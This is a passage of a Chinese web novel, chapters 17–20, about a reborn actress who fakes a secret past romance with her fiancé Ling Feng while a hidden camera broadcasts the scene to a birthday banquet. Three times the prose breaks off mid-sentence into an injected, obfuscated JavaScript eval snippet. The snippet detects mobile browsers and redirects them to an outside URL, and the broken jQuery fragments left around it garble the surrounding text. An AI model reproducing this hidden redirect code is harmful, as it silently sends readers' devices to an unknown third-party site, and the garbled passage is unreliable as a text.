“好啊,我们一起帮你弄。”她倒要看看眼前两个人葫芦里卖的什么药。 楼下宴会厅。 凌枫表情凝重,放下酒杯,想悄悄离开,被身后冒出来的人追问:“诶,枫哥?你去哪?” 此人是凌枫和成世泽的发小之一——车谦。 人称“呆哥”。 “我上楼一趟。”凌枫道。 车谦左瞅瞅,右瞧瞧,露出神秘微笑,“上什么楼?一会儿有神秘彩蛋,等会再去楼上也不迟。” “彩蛋?” “马上知道了,等着吧。” “说清楚。” “具体我咋知道,刚才听楷哥秘书提了一嘴。我好奇啊,跟着人家后屁股问,可惜没打听出来所以然,反正有惊喜就对了。” 说了等于没说,简称废话。 凌枫每次看车谦都非常头痛,比看见常好好和安燃迷糊多了。他连理由都懒得找,转身就走。 车谦呆就呆在没有眼力见,想一出是一出。二话不说赶紧跟上。 “你跟成忆时进展到哪个阶段,是不是快要解除婚约了?” “成忆时不喜欢你。你也不喜欢她。要我说干脆找个时间互相说开不就得了。多大点事啊。” “我听小道消息说,成忆时和王洋有点事,你说他俩是不是真有……” 凌枫心内没由来的一阵烦躁,停下脚步,忍不住出声打断:“你能别跟着我吗?” “我这不好奇吗。”车谦没心没肺的笑,圆圆的大眼睛充满了求知欲,“对了,你要去哪?” “楼上,取东西。” “哦,我陪你。” “不需要。” “没关系,那我也陪你。” “……” 与其对牛弹琴,不如无视。 凌枫不再吭声,只顾往电梯的方向走,走到电梯门前,电梯门凑巧打开,凌卓远和林蕊等人从电梯里走出。 看见凌枫站在眼前,凌卓远别提多开心,扑上去给凌枫一个大熊抱,“小叔,你来接我啦。” 凌枫怔了下,轻轻点了点头:“嗯,生日快乐小远。” 车谦虽然很呆,总是没有眼力见,但是没那么傻。一句话总结:没傻透。 他见凌枫说起善意的谎言,没有当场戳穿。 “妈妈说先跟奶奶和客人打声招呼,然后再去楼上换衣服,你跟我们一起去吧。”凌卓远的小手拉起凌枫的大手,他稚气的脸让人很难说出拒绝的话。 叔侄二人走在最前方,林蕊和车谦等人跟在他们身后。林蕊是个聪明人,开口问道:“你们原本打算去楼上吗?” 车谦点头:“对啊,枫哥偷偷摸摸的,绝对有问题。” 林蕊扯了扯唇。 凌枫偷偷摸摸?此等画面压根无法想象。 同一时间,三楼的某个房间门外,赵奕一跺着脚,脸色焦急。 “门坏了?怎么突然打不开?” “忆时,你们等会儿,我去找人。” 房间内,常好好身子靠在房间斗柜,眼睛带着笑意,准确说是嘲笑,欣赏着王洋和赵奕一的这出烂戏,观看间隙偶尔摇头。 沈骁目瞪口呆,日常抽象的她都被无语到,“……他俩干嘛呢?” 常好好:“不知道。” “真打不开了吗?”沈骁不相信,昂首挺胸,自信满满地走向门口,握住门把手,微微用力往下一按。 “啪”的一声响,门把手被她无情地拽了下来。 常好好:“……” 在帮倒忙的比赛中,沈骁拿第二,没人敢称第一。 沈骁眼巴巴瞅着手掌里的门把手,眸光闪过一层嫌弃,“啥质量?这么不禁压?” 常好好嘴角抽了三抽,收回目光,转头看向站在对面,靠着墙摆造型的王洋。 他们俩费那么大劲把她引到这间屋子里,目的是什么?单纯看他们演戏? “忆时,最近怎么样?”王洋酝酿好长时间,可算逮到机会把话题抛了出来。 “牙好胃口好,吃嘛嘛香。”常好好双手交叉在胸前,回答得极快。 见状,王洋后背离开墙面,朝她的方向抬步,没等走到她对面,沈骁“嗖”的一下窜过来,挡在二人之间。 “哎,最近有一段时间没好好锻炼,感觉线条不太明显呢。”沈骁把体恤袖子往肩膀处撸了撸,小臂轻轻一抬,亮出手臂的肌肉线条。 凸起的肌肉太过于扎眼,想忽略都难。 王洋显然被肌肉线条闪到了眼,再瞟了一眼沈骁手上可怜的门把手,猛地咽口水,无意识地往后退了两步。 发现对方的动作,沈骁得意地勾起唇角,越晒越来劲,昂起下巴,将两只手臂全部亮出。 从视觉效果的呈现上看,确实很有冲击性,哪怕是身高一米八多的王洋,同样被她的肌肉震慑到。 看着沈骁的嘚瑟样,常好好特别想笑。她努力憋住,憋得难受,嘴巴裂开一条小缝,脸都跟着变形。 别人不知道,她和安燃对沈骁的肌肉线条一清二楚。在她没有重生之前,沈骁便天天去健身房锻炼,特意专注力量训练,为的就是有一天她重生回来,好充当她的保镖。 听安燃说,沈骁练哭好多天,把安燃笑得快抽过去。 沈骁练哭几天,安燃笑几天。 “忆时,你们等会儿,我电话打不通,去楼下找人帮忙。”赵奕一的声音再次从门外传来。 常好好懒得应声,等着继续看戏。她环绕房内四周,这时才注意到房内的布置。 房间大约30平米,她站着的位置刚好在房间正南方,各式各样的礼物以一个大大的圆的形状围住她,怎么看都像是精心设计过的场景。 这个房间该不会是他们为了给凌卓远庆祝生日准备的吧? 不久前听其他嘉宾提起过凌卓远补习班没下课,等到下课才能赶过来过生日。 她低头看了眼手表上的时间——五点整。 难道是打算晚上进行惊喜派对? “忆时,你现在一定很难。” 王洋突如其来的雷人肯定句把常好好雷到了。 难? 难啥? “你……”她手杵着下巴,眉心微皱,满脸费解,“你什么意思?” “我知道你不喜欢凌枫,凌枫也不喜欢你。你们两个都很好,但是不合适。感情的事不能勉强,奈何你们有婚约。”王洋假了吧唧地叹了一大口气,“我懂你们的心情,婚姻不能自己做主,太悲哀了。” “……” “但这一切不能怪任何人。大家的心都是好的,只不过方式欠妥,没有顾及你们的感受。” “……” “你因为婚约受到了很多限制吧,听说你经纪人曾对你发难,不让你谈恋爱。” “……” “你和凌枫都是我的朋友,我希望你们能找到属于自己的幸福,不要被其他因素影响。” “… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242739|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' …” 常好好无语望天花板。 原来这就是王洋和赵奕一绕了一大圈的目的,就为了给她洗脑? Excuseme? 他们没病吧! 换一个人说这番话她都不至于气笑。他们两个垃圾好意思说这些吗? 这是他们的台词吗? “嗯……所以你到底想说什么?”常好好忍住发作,“笑意盈盈”地看向王洋。 王洋见她朝他微笑,以为刚才的话打起到了效果,心里得意的同时,没有直白表现出来,但嘴角根本压不住势在必得的笑,“忆时,我懂你,我明白你想要摆脱和凌枫的婚约。” 常好好实在受不了,“噗呲”笑出声。 “谁告诉你的?” “我刚才没好意思打断你。” “你老听说听说的,你到底听谁说的?” “总不能是凌枫吧?” 听见她提到凌枫,王洋嘴角划过一抹不易察觉的停顿,“不是,听别人说的。” “你都说了是别人。”常好好看似温和的笑,实则眼神锐利,迅速反问,“他们不是我和凌枫,怎么可能知道我和凌枫的真实想法。” 王洋被她的话噎住,嘴唇抖了抖,手瞬间握成拳头,又一点一点地松开,笑意再次显露出来,“从小到大,我能不了解你们吗。想彻底撇开婚约实属不易,你因为婚约的事焦虑多年,大家都看在眼里。” “大家?”常好好再次笑出声,“谁啊?你和赵奕一?” 王洋怔住。 望着他那副吃瘪的神情,常好好心情大好。她心情好的时候,嘴巴总是会先大脑一步,说出出乎意料的话。 “哎,事到如今有些事我没必要再瞒下去。其实我和凌枫,我们俩……”故作为难,支支吾吾不说完整。 王洋:“你们俩怎么了?闹掰了?” “我们俩的关系很复杂,一时半会儿跟你说不清楚。” “复杂?” “我们俩早在——”常好好大脑稍微缓了过来,立刻把嘴巴抿住。随着时间流逝,她又重新张开嘴。寻思说都说到这儿了,干脆破罐子破摔,反正没有其他人听到。 于是脑海里换算着时间,比了个手势,“六年!六年前我们就在一起了。” 门外,凌枫带着修锁师傅走到门前,刚抬起手准备敲门,便听见常好好现编的瞎话,唇角不受控制地抽了抽。 比他还要震惊的人是他后边的车谦、林蕊、凌卓远、从三楼另一边小跑过来的赵奕一,以及一楼宴会厅巨大屏幕前的方琴、凌肃、凌楷和所有宾客。 与此同时,大屏幕里传来咔哧咔哧的声音,在安静的宴会厅里格外清脆。 熟悉的咀嚼的声音使常好好刚代入的情绪一下子全散了,她抿住唇,偏过头去,果然看见往嘴里炫零食的沈骁。 “……” 沈骁是不是有特异功能?她到底从哪里掏出来的零食? “忆时,你别开玩笑了。”王洋不死心,自己脑补了一遍又一遍,最终认为常好好在开玩笑。 “我有必要跟你开玩笑?” “如果真如你所说,你们俩在一起多年。为何我们完全看不出来?” “你不懂。”常好好目光朝窗外望去,眉头微蹙,面容多了一层多愁善感,“我们俩商量好的,不把感情的事暴露在人前,想看能不能长久,稳定了再公开。”说着说着,察觉漏洞太多,只能硬着头皮继续瞎掰,“我们俩交往两年分手。当时是和平分手,后来在一年后复合,中间发生了一些事……”情绪酝酿近乎完美,她眼眶泛起泪花,“不到两年再次分手,那次牵扯太多,不太愉快。” 王洋被常好好的话震惊到站在原地目瞪口呆。 “咔呲咔呲!” 沈骁听得贼起劲儿,两只手都不闲着,左手拿零食袋,右手手指捏着蔬菜片一角。 常好好没好气地瞥她一眼,心里松了口气。 圆回来了!又圆回来了! 看来她真的是天才! “你俩后来为啥分手啊?”沈骁道。 她不敢相信自己的耳朵,懵逼地转头,望向沈骁的眼里充斥着“你没事吧”的震撼。 请问现在是问“为啥分手”的好时机? 猪队友吗? 等等? 沈骁不会真的相信了吧? “我也很好奇。”王洋紧接着来了这么一句。 常好好故作镇定,其实心里慌得一批。能让一对重归于好的情侣再次分手,不欢而散。这个理由不好找,必须符合逻辑。 不等她找到适当的理由,沈骁发挥出她的想象力:“他劈腿了?” “不是。” 沈骁:“我想想哈。我去!你劈腿了?” “当然不是。” “你们有婚约,绝不可能因为家庭原因,那还能是什么?”沈骁脑海里浮现出一个画面,于是倒吸一口气,嘴角疯狂向上勾,“你发现他不喜欢女人?” “……” 不懂沈骁这股子兴奋劲儿从哪而来,碍于王洋就在对面,常好好不好发作。她垂下眸子,深吸一口气,差点被沈骁气吐血。 “看来也不是。”沈骁察觉出常好好的气儿不太顺,尴尬地咳嗽两声。忽然,她脑洞大开,想控制自己却没控制住,连零食都撇到一旁,用力捂住嘴巴,大声惊呼:“难道是……凌枫他……” “咚咚咚”三声,门被敲响。 18. 隐疾 凌枫的声音不紧不慢,“门锁坏了,我找了修锁师傅过来,很快。”最后两个字刻意加重。 于是,屋内三个人全部愣住。 沈骁一口气憋了回去,原本到了嘴边的话没说出来,可以说非常难受。 王洋今天的计划被打乱,想要达到的目的被硬生生打断不说,更被突如其来得到的不知真假的消息,惊到大脑短暂断线。 常好好听到凌枫的声音后抽了抽嘴,不知道一会儿面对凌枫时要表现出何种状态。 第二次分手的理由太难编,不把谎话圆好,都搞不清楚应该展现什么样的情绪。 门外,除了修锁师傅和车谦,其他人处于没缓过神的不清醒状态。 “哎呀,着啥急嘛,我还想多听会儿,许是那个男人有隐疾。”修锁师傅大约四十多岁,是个自来熟。他不知道口中的那个男人就是身旁西装革履的凌枫,熟练地蹲下去,手上麻利,嘴不停歇,“小伙子,哥什么样的人没见过。你是个实在人,换做别人肯定不会打断,至少把隐疾听完再敲门。” 车谦跟着师傅蹲下身子,手掌拍在师傅的肩头。师傅有些意外,眼神望着车谦满是疑惑,正要反问,就听车谦一本正经地道:“因为他就是那个男人。” 修锁师傅手上的动作停住,偏过头,瞥了一眼凌枫,这次与上次的目光不同,明显充满了同情。师傅情商比车谦高几个度,很快转移话题,好似刚才八卦的人不是他。 这下可好,门内门外都相当安静。 不知过了多久,凌枫率先打破宁静,“我记得这间房不是客房。” 滕明从林蕊和凌卓远身后站出来,走到凌枫身侧,稍微压低声音,解释道:“是的,这间房被我们布置好,预备给卓远庆祝生日。” 滕明是凌楷的秘书之一,主要负责家庭日常生活方面。 凌枫想到车谦之前的话,再结合滕明的话,瞬间反应过来,“所以这间房的作用,是给小远准备惊喜。” “没错,工作人员全部提前准备妥当,提前定好时间。按照计划,五点整一楼左侧宴会厅的大屏幕会实时播放惊喜环节。” “……” 凌枫右眼皮应景地跳了跳。 “门锁出现问题是意外,卓远没有顺利进去。但是大屏幕已经准备好的定时监控并不会停止,会按照时间进行。”滕明点到为止,他相信以凌枫的智商和逻辑能力,一定知道大屏幕播的画面是什么。况且此时此刻多加叙述,跟“往对方伤口上撒盐”没区别。 车谦不一样。他比沈骁破坏力还要“强大”,听滕明解释完,脑袋仍没转过来弯。 “啊?那卓远的惊喜派对岂不是没搞成?” “现在怎么办?要不要打电话告诉他们一声,先在楼下等一会儿。” “诶?这么长时间怎么没有人过来找我们?他们在楼下干嘛呢?看什么精彩节目呢?” 滕明:“……” 林蕊:“……” 赵奕一:“……” 凌卓远:“车叔叔,你是不是小的时候过得特别幸福,完全没有烦恼。” “你怎么知道?”车谦眼睛噌地亮起来,弯下腰身抚摸凌卓远的头,“卓远小朋友,你不是吗?” 凌卓远:“……” 滕明嘴角已经向上勾起,愣是抿唇憋住,低下头挡住上半张脸,努力让自己冷静。 他在凌凯身边工作近五年,对凌家方方面面非常了解。虽然凌枫跟凌楷是双胞胎,但是性格千差万别。凌枫看起来不是很好接近,实际接触时间长才发现他人没那么不好说话。身边朋友也很多,唯独另一半从来没见过。 印象中,这五年间凌枫偶尔有跟运动员和女明星传出绯闻。但他清楚,那些不过是花边新闻,没有任何可信度。 至于凌枫从小到大被长辈撮合的婚约,他从来都不认为凌枫会答应。可今日,也就是刚刚,凌枫的婚约对象竟然说出了惊人的内幕。实属让人震撼。 同样感到震撼的还有林蕊。她的确是凌枫的嫂子,可实际二人并不熟络。身边的朋友和同事总是不间断地向她打听凌枫的个人情况。不说别的,有婆婆方琴在,谁敢给凌枫介绍对象。 其实她曾经跟修锁师傅的想法一样,一度怀疑凌枫是不是有什么不可言说的隐情。如今“真相”大白,原来六年前凌枫就已经有恋爱对象,只不过没对外公开。 赵奕一刻意站在林蕊等人身后,几乎被挡住整张脸。原先计划泡汤,不仅没让常好好在所有人面前暴露真实想法,还让她彻底和王洋撇开关系,甚至直接和凌枫有了联系。 她们从小认识,赵奕一深知常好好在撒谎。眼神一瞟,看见凌枫的脸色,她的笑容重新挂在脸上,心里暗道:“接下来有好戏看了。” “好了。不是锁芯的问题,是插销的事,问题不大。”修锁师傅站起来,他的声音打断了旁人的联想。 门被修好,滕明领着修锁师傅朝电梯而去。修锁师傅欲言又止,眼见周围气氛诡异,不再开口,跟着滕明离开。一只脚已踏入电梯,也不忘回身探出头望了望房间门口,发现门缝跟他刚修好时一模一样,一看就没有人动过。 “师傅?”滕明喊了一声。 修锁师傅依依不舍,另一只脚迈进电梯内。电梯下行的同时,房间门终于被人推开。 推开房门的人正是凌枫。 听见“吱呀”一声,常好好不自觉地咽了下口水,心提到了嗓子眼。 他们在屋里聊天的时候没注意到外面有声音,不知道凌枫在门口的时候有没有听见她编的瞎话。要是没听见,一会儿王洋搞事情露馅了怎么办? 要不再现编一个? 好像也不是不可以。 常好好面不改色,直到凌枫走过来,她琢磨着给对方一个眼神,考验下两个人的默契度,好为今后演夫妻做准备。结果眼神白给了,凌枫直接忽略她站在王洋身旁。 “不好意思王洋,刚才门锁坏了。”凌枫随意拍了拍王洋的手臂,“走吧,楼下宴席开始了。” 王洋这会儿才缓过神,看向凌枫的小眼睛里仍旧有些发愣,实际他心有不甘。不甘心今天计划破灭,不满意常好好的说辞。 他与赵奕一是一路人,不到最后确认绝不罢休。他内心重新升起希望,望着凌枫的眼神变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242740|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,好像已经预见凌枫脱口而出“她说的都是假的”一样。 “凌枫,你跟忆时……你们俩在一起过?”王洋半开玩笑的语气,目光从两人身上划过,与刚才不是一个级别的演技。 “咔呲咔呲。” 清脆的咀嚼声再次响起。 常好好心慌意乱,但不知为何,耳边不断传来的“咔呲”声音反倒让她醍醐灌顶,一下子想开了。 有什么大不了的,反正凌枫跟她同一战队,结婚是必然。现在演没演到位都不影响结果,担心个什么劲儿。 心里这么一合计,她心情大好,干脆把沈骁一袋子蔬菜干抢过来,毫不客气地往嘴里塞。 手里空空如也的沈骁:“……” 常好好边吃边睁大眼睛观察两个男人,心里面有点期待凌枫会如何回复王洋,脑海里出现各种画面。 “我们要结婚了。” 不对,不符合凌枫给他自己定的节奏。 “她瞎编的。” 应该不可能,不是凌枫的说话风格。 “她脑子有病,别当真。” 额……这句好像符合他一贯的毒舌风。 “我们先下去。”凌枫抬腕瞄了一眼手表,“再过十分钟走菜。” 凌枫不正面回答,王洋不好没完没了的过问。他心知大家都是聪明人,输出太多容易露出马脚。 王洋出门与赵奕一对上眼神,两个人神情相似,脸色有点发青。这要是被屋内的常好好看见,绝对拍手叫好。 可惜,可惜她仍站在屋内。 王洋那个讨厌的定时炸弹从眼前消失,常好好身体终于放松,一屁股盘腿坐在地毯上,手用力压住胸口。还好,还好他们没在王洋面前露馅。她心里想着,长长地舒了一口气。 沈骁学着她的姿势,在她身边坐下,小手偷偷行动,拿走原本属于她的零食,不忘继续往嘴里炫。 常好好看见了她的小动作,没有理会。抬起头,望着走到她身前的凌枫。看他回答王洋的话,肯定在外面听到了她编的瞎话。于是,朝他勾了勾手指。 “走吧,先下去。”凌枫道。 “让我缓一缓,我有点累。” 此时此刻,常好好有一种刚演完一出大戏,浑身被掏空的既视感。 可一想到王洋听到她的话时,那个吃瘪、震惊、不敢相信的模样。她根本控制不住,“噗呲”笑出声,手狠狠地拍向自己大腿,“你没看见王洋的表情,他肯定相——”信字不等她说出,嘴巴便被暖和的手掌捂住,鼻子轻轻吸了吸,是一股淡淡的青苹果味道。 凌枫半蹲着身子,一只手掌撑着常好好的后脑勺,另一只手捂住常好好的嘴巴,两个人鼻子之间大约只有一个拳头的距离。 沈骁眼睛一眨不眨地盯着常好好和凌枫异常亲密的举动,不自觉地张大嘴巴,放在嘴里的零食都不嚼了。 林蕊和凌卓远见凌枫一直没出来,径直走进屋内,刚踏出三四步就捕捉到这一幕。 两个人的懵逼程度比沈骁还要离谱,好像看到了多么不可思议的场景。 楼下宴会厅里,众人的反应更是夸张。 19. 合作 方琴坐在主桌中的主位,目睹大屏幕里房间内的全部场景。最先听见常好好讲述与她儿子的“真实”关系时,她碍于周围宾客克制住内心的激动,生怕眼前一切都是一场梦,直到凌枫最后毫不犹豫地贴近常好好,并且有了肢体接触,她再也压抑不住藏在心底里的雀跃,抬手半遮掩嘴唇,眼里满含热泪,右手颤颤巍巍地抚摸身旁的老伴,喜极而泣。 凌肃和坐在她另一侧的凌楷:“……” 现场其他宾客的情绪不至于像方琴那般激动,但免不了惊讶和内心熊熊燃烧出的八卦之心。 “天啊,凌枫藏得太深,完全看不出来。” “他们二人之间的瓜葛如果拍成电视连续剧的话,八十集都不够吧。” “所以他们还会复合吗?” “看凌枫表现出来的状态,复合的可能性很高。” “未必吧。成忆时不一定同意,不是说上次分手闹得不愉快吗。” “你们说“不愉快”指的什么?” “不好说。” “不敢说。” “不能说。” 最后一句话出自安燃之口。 “安燃,你跟他们俩关系都那么好,是不是知道内幕?赶紧和我们说说。” “我跟你们说了,我今天还能走出庄园大门?”安燃双臂抱胸,表情多少带点装腔作势,“你们别问了,我不能说。”话落,站起来大摇大摆地离开座位。 整个宴会厅充斥着八卦的味道,负责宴会后厨事宜的小沈没心思聊八卦,低下头,盯着表盘上的时间焦急得很。他冲身旁的凌志露出难看的笑容,“叔,你看现在这样,咱还走菜吗?” 凌志是凌肃远方堂兄弟,平时管理庄园一切事务。他没听到声音,视线对准大屏幕看得正起劲,自言自语道:“好精彩。” “毫景……”小沈摸不着头脑,小声嘀咕,“这是菜的名字?今天有这道菜?” 安燃可算找到理由撇开那群迷弟迷妹,等不及坐电梯,去三楼直接用跑的。 等他视线锁定目标房间,发现常好好和凌枫已经从房间里出来,几个人站在门口。凌枫的表情依然是那副老样子,常好好表情倒是有点尴尬。他飞奔过去,正要问话,衣角被凌卓远一把拽住,“安叔叔,我们一起下去吧。” 安燃:“啊?” 不给他回过神的机会,已经被林蕊和凌卓远半架起来,朝电梯方向狂奔。他回头向沈骁递眼神,谁成想沈骁竟然助林蕊和凌卓远一臂之力,直接推着安燃背部,四个人钻进了电梯里。 瞥到安燃在电梯内求救的小表情,常好好才咧开嘴角。天知道刚刚凌枫捂住她嘴巴,在她耳边说屋里有监控时,内心有多崩溃。 王洋和赵奕一真阴啊。 “跟我走吧。” 耳边传过凌枫平稳的声音,常好好再转过头,发现男人已然走到三米开外,连忙抬脚跟上男人的步伐,一路来到三楼另一间房内。 屋内干净整洁,整个布局和酒店贵宾套房大差不差。 “这是你在庄园的房间?” “嗯。” “你们在房间外站了多久,怎么不早点敲门?” “不重要了。”凌枫道。 常好好持续惦记着她和凌枫合作的事,一天不签合约,心里便踏实不起来,总担心对方变卦。眼下凌枫的话比刚才被现场直播恐怖多了,她垂下眸子思考接下来怎么跟凌枫沟通合作的相关情况,却灵光一闪。 “不对!在我的印象里,上一世没有这出戏啊。”她手指轻捏下巴,努力回想之前的情况,然后恍然大悟,“哦,我才想起来,上一世我没来参加宴会。” 时间太长,她记不清找了什么理由拒绝,但是这一年确实没参加。 “成忆时。”凌枫轻声喊了一句。 闻言,常好好脚步下意识地往后挪了挪。对方冷不丁冒出这三个字,也不知道是什么意思。 她快速眨着眼睛,挤出一抹笑脸:“你还是叫我常好好吧,更顺耳些。”见男人没反驳,继续道,“凌枫,我们现在是同属一个战队的队友。”套近乎,她有一套。 “如果我说我和你一样重生了。”凌枫自始至终没有正面直视她的眼睛,放慢语调,“你,信吗?” 说了,他终于说了。 常好好内心欢呼雀跃。她早猜测凌枫是重生回来的人,无奈凌枫始终让人看不透,从来不正面回答她的问题。这次选择跟她坦白,能够说明在他的心里,合作是板上钉钉的事。 想到这里,她心情别提多美丽,表面克制住自己,望着凌枫的脸,目光坚定,一本正经地说:“信。” 凌枫:“之前没和你们说实话,是因为对你们不够信任。” 呵呵。 常好好无意识地撇了撇嘴,很快又恢复笑容。 凌枫:“经过这些天相处,我相信我们的目标一致。” 闹了半天,前几天耍她玩呢? 要不是以后有用得着他的地方,常好好真想给他一个“你真难伺候”的眼神。 凌枫:“常好好,合作愉快。” 对方主动伸手示好,常好好笑容微变,带了几分真诚,伸出右手回握。 “合作愉快!”她的手指头微微用力,“友情提醒,合约上写两个名字,别把成忆时落下。” 凌枫唇角扯了扯,默默收回手,点头道:“放心,我会找专业律师团队,整理好拿给你碰一下。” “好。”常好好笑呵呵的回答。 该说不说凌枫办事她放心,但防人之心不可无,不能因此尽信,还是要多留个心眼。 两个人结伴回到宴会厅的时候,大家心照不宣地避开大屏幕的话题,以庆祝方琴和凌卓远生日为主。 “成忆时,你和凌枫到底怎么回事?”作为她的好友,肖晗当然不会相信她和凌枫所谓分分合合多年的感情。 常好好瞄了一眼同桌的王洋和赵奕一,刻意用大家想不听都不行的音量说:“不是我瞒着你,实在是不知道怎么说。没事,都过去了。”话音刚落,同桌其他人忍不住八卦的心,纷纷小声问。她游刃有余的回答,把赵奕一和王洋的脸都气绿了,愣是一口菜都没吃。 爽是爽了。担心一会儿被方琴等人叫住不好脱身,她在敬酒后便带着沈骁提前溜了。 回到家里,顾不上搭理沈骁,满脑子都是合约,跑进书房把合约需要注意的事项一一列出来,之后又把从凌枫那里得到的消息全部记在笔记里。 时光飞逝。 看着一条条整理好的笔记,常好好捏着僵硬的手腕,嘴角不自觉上翘。 一天过的相当充实,比以前在剧组演戏过得快多了。她看着劳动成果走出房门,忍不住向瘫在客厅沙发内的沈骁炫耀。一抬头,沈骁姿势与两个小时前没差,居然还在那边放空。 “想什么呢,这么入迷。”她问。 “哎,你不懂。今天的经历实在是过于跌宕起伏。” 常好好挑了挑眉,示意沈骁往下说。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17242741|197807||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我从安燃那里知道了好多热门cp都是假的,导致我大脑宕机,写小说都没灵感了。”沈骁唉声叹气,两秒,就两秒时间,瞬间满血复活,“谁成想你跟凌枫今天这出戏给了我新的灵感,原来还可以这样?” 这话…… 听起来怪怪的呢。 常好好知道沈骁是个喜欢磕cp的人。正所谓长痛不如短痛,担心她以后又对哪对cp过于上头,露出一抹坏笑,开始“安慰”道:“磕CP磕错罢了,本就不是什么大事。人设人设,干嘛当真啊,当初我有一部剧播出时,制作方直接给我和男演员一个小剧本。摆出的每个小动作、说的每一句话,都是精心设计过的。娱乐圈嘛,都是当面一套背后一套。” 沈骁:“啊?” “不好意思口误。”常好好尴尬地笑了笑,“准确的说是当面A人设背后J人设。演员嘛,只要在镜头前都是在演,这是基本的职业素养。” 沈骁:“所以安燃说的都是真的?” 常好好明知实话残忍,还是坦诚相告:“当个乐子人,看看热闹挺好的。能给你带来情绪价值最好。反之,不看、不关注就行了。”说完话锋一转,“看!”她把热气腾腾刚出炉的笔记摆出来,“今天如你所说确实跌宕起伏,但结果是好的。我从凌枫那里打听到酷誉里最可能威胁魏筝的男人。呐,那个人就在这三人之中。” “好好,你太厉害了。”沈骁接过册子,看完满脸惊喜。突地,她用胳膊肘轻轻碰了碰常好好的手臂,笑容有那么一丝诡异,“好好,你觉不觉得凌枫看你的眼神不太一样?” “确实不一样,”常好好回忆起她和凌枫这些天的交锋,直到今天才终于搞清楚怪异在哪,“对了,忘跟你说了,凌枫也是重生人。” …… 一个小时后。 张氏烤冷面摊位。 张韧拿着铲子费劲吧啦地将挂着生鸡蛋的冷面翻面,他抹了抹额头渗出的汗滴,手上依旧忙碌,眼睛盯着烤冷面,小声道:“我对常好好印象很深,她不是那么好糊弄的人,你在她面前别说太多,多说多错。” 上一世,成世泽被杀案因涉及成家产业和娱乐圈明星等备受舆论关注。因为疑点重重迟迟不破,网上谣言四起。无奈证据链不足,一度进行不下去。张韧作为新调派到滨城的刑警队长,被委以重任临时接手此案件。当时他压力巨大,带着犯罪心理学教授陆颂在商场守着常好好,想私下找常好好探探虚实,没想到商场塌方了。 站在张韧对面的男人没应声。男人望着软塌塌的、黄不拉几的烤冷面,嘴角抽了抽。 张韧手上动作不停,依然卖力气,“七年间发生的事数不胜数,这些日子陆颂还有苏淼会陆续和你说滨城发生的重点事件。” 苏淼是张韧的外甥女,因为写悬疑小说没有灵感,非要跟着张韧和陆颂去商场,结果和他们一起重生回来。 “嗯。”男人嘴上应着,脸上嫌弃的不得了,“我知道了。” 烤冷面终于完成,张韧脸上堆起笑脸,捧着装满烤冷面的盒子,一把递给男人,手背再次抹了抹额头渗出的汗水,可以说眼含热泪。 “完美!这次先不收你钱。”他道。 男人:“……” 二十米开外,两个女人正肩并肩走,嘴上聊着八卦。其中一个人无意间望了望远处,定睛一看,立刻张大嘴巴,低声惊呼:“天啊,你看烤冷面摊前站着的背影眼熟不?” 另一个女人偏过头去,同款震惊动作,喃喃道:“那不是……” 20. 调查 “老大?”小宋傻眼。 李盛和小宋表情异曲同工。两个人呆愣在原地,好像眼前的画面多么不真实。 其实不是凌枫吃烤冷面不行,而是那个平时一本正经,看着你喝奶茶都会露出嫌弃模样,甚至提醒“奶茶不利于健康”的人,竟然会买看上去更不健康的烤冷面? 完全不符合逻辑。 李盛怀疑自己眼神有问题,看向小宋,表情别提多严肃认真。她问道:“你也能看见是吧。” “当然,货真价实的老大啊。”小宋用力点头,瞳孔猛缩,“我去,他回头了。”说时迟那时快,拉着李盛往旁边车后躲,悄摸摸探出个脑袋张望。亲眼见证凌枫拎着烤冷面回到车里,再目送车离开,才松了口气跳出来。 李盛琢磨来琢磨去,最后总结道:“老大买的烤冷面一定很好吃,要不我们也尝尝?” 于是,刚歇下的张韧被迫营业中。 晚上九点,群主苏淼把原先的群名改为【超牛调查团队】。 发现群名被改,群成员都出来说了几句话,除了张韧。 陆颂:【刃哥呢,没回来?】 苏淼:【我刚才问了,我舅没怎么理我,只回我说今天烤冷面爆单。妈呀,你们知道我有多震惊吗?我心里一万个不理解,请问他做的那玩意真的能吃?】 凌枫:【味道还行。】 此话一出,直接把群里干沉默了。不知过了多久,其他两个人才缓过来。 苏淼:【你……吃了??????】 陆颂:【枫,你和我们说实话,你是不是味觉失灵了?】 凌枫:【卖相可怕,味道可以。不排除火的可能性。】 苏淼和陆颂发了一连串问号,凌枫依旧坚持他的观点。担心以后也要被动吃那恐怖的烤冷面,苏淼一改常态,马上进入到公事公办的行事风格,不再扯些没用的东西。 苏淼:【枫哥,给你说一说最近的大事吧。这个月月底,蓝时奶茶店发生了一件轰动全国的事……】 